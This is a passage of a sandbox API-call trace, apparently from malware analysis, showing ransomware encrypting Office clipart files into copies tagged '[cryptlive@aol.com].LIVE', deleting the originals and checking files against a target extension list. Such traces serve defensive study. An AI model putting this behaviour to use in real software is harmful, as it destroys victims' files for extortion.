nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x38d0, lpOverlapped=0x0) returned 1 [0135.999] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.999] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.999] SetEndOfFile (hFile=0x1fc) returned 1 [0136.001] CloseHandle (hObject=0x1fc) returned 1 [0136.001] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.001] SetEndOfFile (hFile=0x3a8) returned 1 [0136.015] CloseHandle (hObject=0x3a8) returned 1 [0136.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0136.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0136.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0136.044] lstrlenW (lpString=".doc") returned 4 [0136.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.044] lstrlenW (lpString=".docx") returned 5 [0136.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.044] lstrlenW (lpString=".pdf") returned 4 [0136.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.044] lstrlenW (lpString=".xls") returned 4 [0136.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.044] lstrlenW (lpString=".xlsx") returned 5 [0136.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.044] lstrlenW (lpString=".ppt") returned 4 [0136.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0136.044] lstrlenW (lpString=".zip") returned 4 [0136.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.044] lstrlenW (lpString=".rar") returned 4 [0136.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.044] lstrlenW (lpString=".bz2") returned 4 [0136.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.045] lstrlenW (lpString=".7z") returned 3 [0136.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0136.045] lstrlenW (lpString=".dbf") returned 4 [0136.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0136.045] lstrlenW (lpString=".1cd") returned 4 [0136.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0136.045] lstrlenW (lpString=".jpg") returned 4 [0136.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0136.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0136.045] lstrlenW (lpString=".doc") returned 4 [0136.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.045] lstrlenW (lpString=".docx") returned 5 [0136.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.045] lstrlenW (lpString=".pdf") returned 4 [0136.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.045] lstrlenW (lpString=".xls") returned 4 [0136.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.045] lstrlenW (lpString=".xlsx") returned 5 [0136.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.045] lstrlenW (lpString=".ppt") returned 4 [0136.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0136.045] lstrlenW (lpString=".zip") returned 4 [0136.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.045] lstrlenW (lpString=".rar") returned 4 [0136.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.045] lstrlenW (lpString=".bz2") returned 4 [0136.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.045] lstrlenW (lpString=".7z") returned 3 [0136.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0136.046] lstrlenW (lpString=".dbf") returned 4 [0136.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0136.046] lstrlenW (lpString=".1cd") returned 4 [0136.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0136.046] lstrlenW (lpString=".jpg") returned 4 [0136.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.046] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0136.046] lstrlenW (lpString="BD19582_.GIF") returned 12 [0136.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.053] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=15733) returned 1 [0136.053] CloseHandle (hObject=0x3a4) returned 1 [0136.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0136.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.525] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.525] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0136.675] GetLastError () returned 0x0 [0136.675] ReadFile (in: hFile=0x390, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x3d75, lpOverlapped=0x0) returned 1 [0136.677] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0136.679] ReadFile (in: hFile=0x390, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.679] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.679] SetEndOfFile (hFile=0x384) returned 1 [0136.679] CloseHandle (hObject=0x384) returned 1 [0136.679] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.679] SetEndOfFile (hFile=0x390) returned 1 [0136.681] CloseHandle (hObject=0x390) returned 1 [0136.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0136.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0136.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0136.771] lstrlenW (lpString=".doc") returned 4 [0136.771] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0136.771] lstrlenW (lpString=".docx") returned 5 [0136.771] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0136.771] lstrlenW (lpString=".pdf") returned 4 [0136.771] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0136.771] lstrlenW (lpString=".xls") returned 4 [0136.771] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0136.771] lstrlenW (lpString=".xlsx") returned 5 [0136.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0136.771] lstrlenW (lpString=".ppt") returned 4 [0136.771] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0136.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0136.771] lstrlenW (lpString=".zip") returned 4 [0136.771] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0136.771] lstrlenW (lpString=".rar") returned 4 [0136.771] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0136.771] lstrlenW (lpString=".bz2") returned 4 [0136.771] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0136.771] lstrlenW (lpString=".7z") returned 3 [0136.771] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0136.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0136.772] lstrlenW (lpString=".dbf") returned 4 [0136.772] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0136.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0136.772] lstrlenW (lpString=".1cd") returned 4 [0136.772] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0136.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0136.772] lstrlenW (lpString=".jpg") returned 4 [0136.772] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0136.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0136.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0136.772] lstrlenW (lpString=".doc") returned 4 [0136.772] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0136.772] lstrlenW (lpString=".docx") returned 5 [0136.772] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0136.772] lstrlenW (lpString=".pdf") returned 4 [0136.772] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0136.772] lstrlenW (lpString=".xls") returned 4 [0136.772] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0136.772] lstrlenW (lpString=".xlsx") returned 5 [0136.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0136.772] lstrlenW (lpString=".ppt") returned 4 [0136.772] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0136.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0136.772] lstrlenW (lpString=".zip") returned 4 [0136.772] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0136.772] lstrlenW (lpString=".rar") returned 4 [0136.772] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0136.772] lstrlenW (lpString=".bz2") returned 4 [0136.772] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0136.772] lstrlenW (lpString=".7z") returned 3 [0136.772] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0136.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0136.772] lstrlenW (lpString=".dbf") returned 4 [0136.772] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0136.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0136.773] lstrlenW (lpString=".1cd") returned 4 [0136.773] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0136.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0136.773] lstrlenW (lpString=".jpg") returned 4 [0136.773] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0136.773] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.773] lstrlenW (lpString="BL00122_.WMF") returned 12 [0136.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.773] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10146) returned 1 [0136.773] CloseHandle (hObject=0x388) returned 1 [0136.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 [0136.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.774] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.774] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.774] GetLastError () returned 0x0 [0136.774] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x27a2, lpOverlapped=0x0) returned 1 [0136.794] WriteFile (in: hFile=0x3a4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0136.796] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.796] WriteFile (in: hFile=0x3a4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.796] SetEndOfFile (hFile=0x3a4) returned 1 [0136.796] CloseHandle (hObject=0x3a4) returned 1 [0136.796] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.796] SetEndOfFile (hFile=0x388) returned 1 [0136.798] CloseHandle (hObject=0x388) returned 1 [0136.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0136.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0136.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0136.799] lstrlenW (lpString=".doc") returned 4 [0136.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.800] lstrlenW (lpString=".docx") returned 5 [0136.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.800] lstrlenW (lpString=".pdf") returned 4 [0136.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.800] lstrlenW (lpString=".xls") returned 4 [0136.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.800] lstrlenW (lpString=".xlsx") returned 5 [0136.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.800] lstrlenW (lpString=".ppt") returned 4 [0136.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0136.800] lstrlenW (lpString=".zip") returned 4 [0136.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.800] lstrlenW (lpString=".rar") returned 4 [0136.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.800] lstrlenW (lpString=".bz2") returned 4 [0136.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.800] lstrlenW (lpString=".7z") returned 3 [0136.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0136.800] lstrlenW (lpString=".dbf") returned 4 [0136.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0136.800] lstrlenW (lpString=".1cd") returned 4 [0136.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0136.800] lstrlenW (lpString=".jpg") returned 4 [0136.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0136.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0136.800] lstrlenW (lpString=".doc") returned 4 [0136.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.800] lstrlenW (lpString=".docx") returned 5 [0136.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.800] lstrlenW (lpString=".pdf") returned 4 [0136.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.801] lstrlenW (lpString=".xls") returned 4 [0136.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.801] lstrlenW (lpString=".xlsx") returned 5 [0136.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.801] lstrlenW (lpString=".ppt") returned 4 [0136.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0136.801] lstrlenW (lpString=".zip") returned 4 [0136.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.801] lstrlenW (lpString=".rar") returned 4 [0136.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.801] lstrlenW (lpString=".bz2") returned 4 [0136.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.801] lstrlenW (lpString=".7z") returned 3 [0136.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0136.801] lstrlenW (lpString=".dbf") returned 4 [0136.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0136.801] lstrlenW (lpString=".1cd") returned 4 [0136.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0136.801] lstrlenW (lpString=".jpg") returned 4 [0136.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.801] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.801] lstrlenW (lpString="BL00148_.WMF") returned 12 [0136.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.802] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1696) returned 1 [0136.802] CloseHandle (hObject=0x388) returned 1 [0136.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0136.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.802] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.802] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.803] GetLastError () returned 0x0 [0136.803] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x6a0, lpOverlapped=0x0) returned 1 [0136.842] WriteFile (in: hFile=0x3a4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0136.845] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.845] WriteFile (in: hFile=0x3a4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.845] SetEndOfFile 